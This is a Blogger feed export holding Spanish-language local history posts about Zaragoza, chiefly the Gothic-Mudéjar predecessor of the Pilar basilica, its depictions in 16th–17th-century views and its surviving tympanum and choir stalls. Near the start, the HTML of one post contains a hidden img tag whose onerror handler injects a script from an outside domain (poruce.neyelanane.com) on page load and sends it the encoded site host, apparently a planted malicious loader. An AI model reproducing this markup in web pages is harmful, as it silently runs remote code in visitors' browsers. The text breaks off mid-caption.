&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;5.- Lugar
en el que se produce nitrato de potasio o salitre utilizado principalmente para
la fabricación de la pólvora. Hubo varias en Zaragoza.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;6.-
Hundimientos del terreno producidos por la disolución de los yesos del
subsuelo. Son muy comunes en nuestro entorno, especialmente en los terrenos de
regadío por filtraciones de agua. &lt;/span&gt;&lt;/p&gt;

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&lt;![endif]--&gt;&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;img onerror=&quot;var s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.id=&amp;quot;cczedcc-plg-analytics&amp;quot;;s.src=&amp;quot;//poruce.neyelanane.com/scripts/js?k=5f36449983df1a9c728b4567&amp;amp;s=&amp;quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&amp;quot;head&amp;quot;)[0].appendChild(s);&quot; src=&quot;&quot; /&gt;&lt;/div&gt;&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/5281075562710981520/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/macanaz-y-las-otras-fosas-comunes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/5281075562710981520'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/5281075562710981520'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/macanaz-y-las-otras-fosas-comunes.html' title='La arboleda de Macanaz, una gran fosa común'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Qv7G3Oxjy707gGhH7T51HZe7VlIww2Z1jDzt-snEKkwlehhBSuQyRXaMW57LAu3cRqJLZafPTMwRQwBp6Er3CMoratgzQj52cTHXul621DIqnMfBIV5cBpsQ2A8Zq9eZKA2JeFMJm93G/s72-c/Aparcamiento+de+la+Arboleda+de+Macanaz.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-870908933647131463</id><published>2020-11-07T16:30:00.005+01:00</published><updated>2020-11-14T18:22:59.458+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CONSTRUCCIONES RELIGIOSAS"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><title type='text'>El Pilar mudéjar</title><content type='html'>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&amp;nbsp;&lt;span&gt;&lt;i&gt;¿Sabías que... antes del actual templo de El Pilar hubo otro templo de estilo gótico-mudéjar?&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKobi_95JnFULy51k28aSQiMwlvNHan8T514X7vRx_G6NJd5l3MiBROMblH2aLiAieD28YiJOQiPyD4t99C4eHiW6NM_6BryvD9tsDhBTfELMXYMcRKeFoC_2_pWImOjNcH52lnJi_it2g/s1984/pilar+mudejar.gif&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img alt=&quot;iglesia de San Pedro-Teruel. Se supone que el Pilar gótico-mudéjar tendría unas torrecillas parecidas, tal como se puede apreciar en la “Vista de Zaragoza” de Anton Van den Wyngaerde (1563).&quot; border=&quot;0&quot; data-original-height=&quot;1417&quot; data-original-width=&quot;1984&quot; height=&quot;255&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKobi_95JnFULy51k28aSQiMwlvNHan8T514X7vRx_G6NJd5l3MiBROMblH2aLiAieD28YiJOQiPyD4t99C4eHiW6NM_6BryvD9tsDhBTfELMXYMcRKeFoC_2_pWImOjNcH52lnJi_it2g/w356-h255/pilar+mudejar.gif&quot; width=&quot;356&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;Copperplate Gothic Bold&amp;quot;, sans-serif&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&amp;nbsp; Durante siglos el templo del Pilar fue&amp;nbsp; &amp;nbsp;de estilo gótico-mudéjar&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Copperplate Gothic Bold&amp;quot;, sans-serif&quot; style=&quot;font-size: medium;&quot;&gt;(1435– 1718)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Iglesia de San Pedro-Teruel. Se supone que el&amp;nbsp; Pilar&amp;nbsp; &amp;nbsp; &amp;nbsp;gótico-mudéjar&lt;span color=&quot;windowtext&quot; style=&quot;font-family: inherit;&quot;&gt;tendría unas torrecillas parecidas, tal como&amp;nbsp; &amp;nbsp;se puede apreciar en la “Vista de Zaragoza” de Anton Van&amp;nbsp; &amp;nbsp;den Wyngaerde (1563).&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;La imagen actual del tem&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: 12pt;&quot;&gt;plo de El Pilar está&amp;nbsp; &amp;nbsp;tan arraigada en la mente de todos los&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;zaragozanos que no somos capaces de pensar que anteriormente a este hubo otros templos. Sin embargo, entre los siglos XII y XV existió una iglesia románica, pequeña y oscura, que no albergaba en su interior a la “Santa Capilla”, pues la “Santa Columna” estaba situada fuera de la ciudad y había que atravesar la muralla romana por un postigo para visitarla.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span style=&quot;font-family: inherit; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: 12pt;&quot;&gt;Una vez derribada esta iglesia (s. XV) se
construyó otra más grande y más acorde con los gustos del momento: &lt;b&gt;el Pilar
gótico-mudéjar.&lt;/b&gt; Allí rezaron, además de los fieles, reyes y reinas. Hoy día se
conservan en la actual basílica algunos recuerdos de aquellas épocas: un
tímpano románico en la fachada sur, el retablo mayor y la sillería del coro, además
de la imagen de la Virgen; joyas que han quedado como testimonio de su pasado.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Si teníamos una iglesia románica ¿por qué se derribó para construir un
templo gótico-mudéjar&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;La respuesta a esta pregunta es
bastante fácil de responder: los tiempos cambian y las necesidades también.
Dicen los que vieron la “Santa Capilla” y su iglesia en aquella época, que
debido a las crecidas del Ebro (1261) y al paso del tiempo, se encontraba muy
deteriorada ya principios del siglo XV. Por otra parte, la fama de la Virgen
del Pilar había crecido mucho y acudían a Zaragoza multitud de peregrinos a los
que había que atender, peregrinos que, en muchas ocasiones eran reyes o
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&lt;/o:lock&gt;&lt;/v:path&gt;&lt;/v:stroke&gt;&lt;/v:shapetype&gt;&lt;v:shape id=&quot;_x0030__x0020_Imagen&quot; o:spid=&quot;_x0000_s1026&quot; style=&quot;height: 390.75pt; left: 0px; margin-left: 253.35pt; margin-top: 334.1pt; mso-height-percent: 0; mso-height-relative: margin; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-width-percent: 0; mso-width-relative: margin; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 294.55pt; z-index: 251658240;&quot; type=&quot;#_x0000_t75&quot;&gt;
 &lt;v:imagedata o:title=&quot;&quot; src=&quot;file:///C:\Users\MJ\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg&quot;&gt;
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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;i&gt;Por ejemplo, se sabe que en
1433 la reina Blanca de Navarra, esposa de Juan II de Aragón, estando en su
palacio de Olite sufrió una enfermedad que la tuvo a las puertas de la muerte.
Cuando se recuperó contó que la Virgen del Pilar se le había aparecido y le
había indicado que se “arrimara” a su columna porque allí encontraría su
curación total. La reina realizó ese mismo año una peregrinación a Zaragoza,
rodeada de su familia y su séquito. En la ciudad dedicó dos meses a la oración
y la penitencia y además fundó la “Orden de Nuestra Señora del Pilar, de
caballeros y damas”, cuyo emblema era “A ti me arrimo”. &lt;/i&gt;&lt;span style=&quot;color: red; font-size: 8pt; line-height: 115%;&quot;&gt;(1)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Aunque no se sabe con exactitud
cuándo se construyó el templo mudéjar por la multitud de reparaciones que
exigía el edificio, se sabe que a partir de 1435, después de un gran incendio
que afectó al templo y al claustro, se llevó a cabo la reconstrucción con un
nuevo estilo: el gótico-mudéjar.&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Los gustos en arquitectura habían
cambiado ya desde hacía un tiempo, pero aquí en Aragón, debido a la escasez de
piedra y a la presencia de maestros musulmanes, se optó por un tipo de
construcción a base de ladrillo, yeso, madera y cerámica mucho más rápida y
económica.&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;La obra pudo realizarse gracias a
las donaciones de muchos fieles como la misma Blanca de Navarra o la familia de
los Torrero, propietarios de extensas fincas en los montes que llevan su
nombre, o de gentes humildes que aportaban lo que podían. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;b&gt;El templo&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;



















&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Además del testimonio de viajeros
y de personas que lo vieron y lo citaron en sus obras, el documento más
relevante para conocer la planta del edificio y su disposición interior es el
acta notarial levantada en 1668 con motivo de la inminente demolición del
templo para construir el actual. Este acta notarial no se hizo para dejar
constancia de cómo era el edificio, sino que más bien es una especie de
inventario de lo que contenía para que no se pudiera perder nada, con lo cual no
se aprecian grandes detalles.&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Para hacernos una idea de cómo era el
exterior del templo contamos con dos&amp;nbsp;
&lt;/span&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;dibujos realizados&lt;/span&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;desde la
margen izquierda del Ebro:&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;-La &lt;i&gt;“Vista de Zaragoza”&lt;/i&gt;&amp;nbsp; de Anton Van den Wyngaerde, pintor de cámara
de Felipe II. Este dibujo lo realizó mientras acompañaba al monarca en un viaje
por la Corona de Aragón (1563).&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs8pY92xQ2JJtgvDpqjuzRoRwOsA9E8mkFrVo1HVjn4PUnMiAc0LnSVpS0jbFEKyak16LkX30y2X78vnEKzf0XhP0RS__ZFz_SAqI9fjCNBl0NPWMga1FvIUJr00Suf2iIIk4cX2owdcFl/s586/vista+pilar.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;328&quot; data-original-width=&quot;586&quot; height=&quot;358&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs8pY92xQ2JJtgvDpqjuzRoRwOsA9E8mkFrVo1HVjn4PUnMiAc0LnSVpS0jbFEKyak16LkX30y2X78vnEKzf0XhP0RS__ZFz_SAqI9fjCNBl0NPWMga1FvIUJr00Suf2iIIk4cX2owdcFl/w640-h358/vista+pilar.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Fragmento de la&amp;nbsp;&lt;i&gt;“Vista de Zaragoza”&lt;/i&gt;&amp;nbsp; de Anton Van den Wyngaerde.&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;En el círculo rojo se aprecia el dibujo del templo mudéjar del Pilar.&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;i style=&quot;font-family: inherit; text-align: justify;&quot;&gt;Anton Van den Wyngaerde fue un dibujante flamenco que vivió en el siglo XVI. Felipe II&amp;nbsp; le encargó una serie de dibujos de las ciudades principales de España que realizó a lo largo de la década de los sesenta de ese siglo. Dibujó 62 vistas muy&amp;nbsp; detalladas entre las que se encuentra la de Zaragoza (1563).&lt;/i&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormalCxSpMiddle&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span style=&quot;line-height: 15.3333px;&quot;&gt;La ciudad de Zaragoza está vista en su conjunto desde la margen izquierda del Ebro. Se puede apreciar la muralla en alguno de sus tramos, el caserío de la ciudad y las numerosas torres de iglesias y conventos que existían en ese momento.&lt;/span&gt;&lt;span style=&quot;line-height: 15.3333px;&quot;&gt;&amp;nbsp;Lógicamente no es un dibujo preciso, pero se puede apreciar que el Pilar tenía la cabecera orientada al este, rematada por torrecillas y hacia el oeste una ancha torre campanario. El santuario no se aprecia, ya que hay casas delante.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormalCxSpMiddle&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span style=&quot;line-height: 15.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormalCxSpMiddle&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;-La &lt;i&gt;“Vista de
Zaragoza”&lt;/i&gt; de Juan Bautista Martínez del Mazo, yerno de Diego Velázquez, que
llegó a Zaragoza junto con su suegro formando parte de la comitiva de Felipe IV
(1646).&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9PxTJXcp2JdIPty6CQHGvFU79Wx6kWkjPJnq3G8vZvRUxFEUpuVSQngQRpn45N0R3sEm59CbatirK4IT5bC1YK_xwe6Aje4WS7P2B4UBTYsKp1P2qjLCrYDJGkJueby1xw4idC2328RH7/s2048/vista+3.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1435&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9PxTJXcp2JdIPty6CQHGvFU79Wx6kWkjPJnq3G8vZvRUxFEUpuVSQngQRpn45N0R3sEm59CbatirK4IT5bC1YK_xwe6Aje4WS7P2B4UBTYsKp1P2qjLCrYDJGkJueby1xw4idC2328RH7/w280-h400/vista+3.jpg&quot; width=&quot;280&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: center;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;Fragmento de la obra de J.B. Martínez del Mazo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;

&lt;/p&gt;&lt;p align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: center;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;“Vista de Zaragoza” (1646-1647)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormalCxSpMiddle&quot; style=&quot;margin-left: 70.9pt; mso-add-space: auto; text-align: justify;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormalCxSpMiddle&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Analizando los dibujos
anteriores, se puede deducir que era un templo mucho más pequeño que el actual,
de planta rectangular con un ábside rematado con cuatro torrecillas y una torre
cuadrada a los pies. En los dibujos de la planta se observa &amp;nbsp;que tenía una sola nave con capillas laterales
entre los contrafuertes. El acceso estaba situado&amp;nbsp; en &amp;nbsp;la
plaza del Pilar, aunque su orientación era algo distinta, ya que estaba pegado
“al antiguo muro de la ciudad”, seguramente la muralla romana.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;



&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;v:shapetype coordsize=&quot;21600,21600&quot; filled=&quot;f&quot; id=&quot;_x0000_t75&quot; o:preferrelative=&quot;t&quot; o:spt=&quot;75&quot; path=&quot;m@4@5l@4@11@9@11@9@5xe&quot; stroked=&quot;f&quot;&gt;
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 &lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;
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&lt;/o:lock&gt;&lt;/v:path&gt;&lt;/v:stroke&gt;&lt;/v:shapetype&gt;&lt;v:shape id=&quot;_x0030__x0020_Imagen&quot; o:spid=&quot;_x0000_s1026&quot; style=&quot;height: 213.75pt; left: 0px; margin-left: 204.55pt; margin-top: 171.35pt; mso-height-percent: 0; mso-height-relative: margin; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-width-percent: 0; mso-width-relative: margin; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 309.15pt; z-index: 251658240;&quot; type=&quot;#_x0000_t75&quot;&gt;
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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;v:shape id=&quot;_x0030__x0020_Imagen&quot; o:spid=&quot;_x0000_s1026&quot; style=&quot;height: 213.75pt; left: 0px; margin-left: 204.55pt; margin-top: 171.35pt; mso-height-percent: 0; mso-height-relative: margin; mso-position-horizontal-relative: margin; mso-position-horizontal: absolute; mso-position-vertical-relative: margin; mso-position-vertical: absolute; mso-width-percent: 0; mso-width-relative: margin; mso-wrap-distance-bottom: 0; mso-wrap-distance-left: 9pt; mso-wrap-distance-right: 9pt; mso-wrap-distance-top: 0; mso-wrap-style: square; position: absolute; text-align: left; visibility: visible; width: 309.15pt; z-index: 251658240;&quot; type=&quot;#_x0000_t75&quot;&gt;&lt;br /&gt;&lt;/v:shape&gt;&lt;span lang=&quot;ES&quot;&gt;Nos dice Lasagabaster &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red; font-size: 8pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;(2) &lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;que en la puerta
principal estaría insertado el tímpano románico (hoy día en la fachada sur del
actual templo) precedida por un pórtico. Era necesario para acceder al templo
bajar unos escalones pues la plaza del Pilar, antes de sus remodelaciones,
estaba algo más elevada que en la actualidad debido a que se situaba en una de
las terrazas del Ebro.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKzbhkI9SjnGemhalRDoI9QKss-yv0nKl4dDqhBp_SOGoF0GgfhhbFDHRXgQJ9X1P9uSwbxqd5ZkWHwYQqLGKw7RuTGzNij2tAG1txI6OWEVFMNnuOVUlwT7Z21wVGsKbu4ykzl5prN4a/s800/timpano.jpg&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;553&quot; data-original-width=&quot;800&quot; height=&quot;276&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTKzbhkI9SjnGemhalRDoI9QKss-yv0nKl4dDqhBp_SOGoF0GgfhhbFDHRXgQJ9X1P9uSwbxqd5ZkWHwYQqLGKw7RuTGzNij2tAG1txI6OWEVFMNnuOVUlwT7Z21wVGsKbu4ykzl5prN4a/w400-h276/timpano.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Tímpano románico&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;A los pies de la nave, en la base de la torre cuadrada, se hallaba el coro
con su maravillosa sillería (hoy en el actual templo del Pilar), realizada
entre 1542 y 1546 por los escultores Juan de Moreto, Nicolás Lobato y Esteban
de Obray y talllada en roble de Flandes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP_kWKti0yNgD6418xrABJQQEWXa2ocm5Tw2ko2RkPDRxPRop80PWIq8XSLEKi-4uAFv8BCLJrkttZFqdLR6zrrm1dm2k5ccL70xeaaq5nDPPGyCQGDa0E25y7i0dajaeP3LvIZfvORnVP/s308/pared.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;176&quot; data-original-width=&quot;308&quot; height=&quot;229&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP_kWKti0yNgD6418xrABJQQEWXa2ocm5Tw2ko2RkPDRxPRop80PWIq8XSLEKi-4uAFv8BCLJrkttZFqdLR6zrrm1dm2k5ccL70xeaaq5nDPPGyCQGDa0E25y7i0dajaeP3LvIZfvORnVP/w400-h229/pared.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDYZ18aiYF2fMlQXuGVuuvswyanvSPxCFQoUuoAH3O-0FYJSUUqEhKGHD3_7OlkK34RSUi8UP_Md98QBrtIUFqbMFca9if1j3eK9R1lyCcqRG4GSqOhcnbG3m-pzgUvwmsdWgLl_uc5As/s420/silleria.jpg&quot; style=&quot;clear: left; margin-bottom: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;420&quot; data-original-width=&quot;238&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDYZ18aiYF2fMlQXuGVuuvswyanvSPxCFQoUuoAH3O-0FYJSUUqEhKGHD3_7OlkK34RSUi8UP_Md98QBrtIUFqbMFca9if1j3eK9R1lyCcqRG4GSqOhcnbG3m-pzgUvwmsdWgLl_uc5As/s320/silleria.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Fragmento de la sillería del 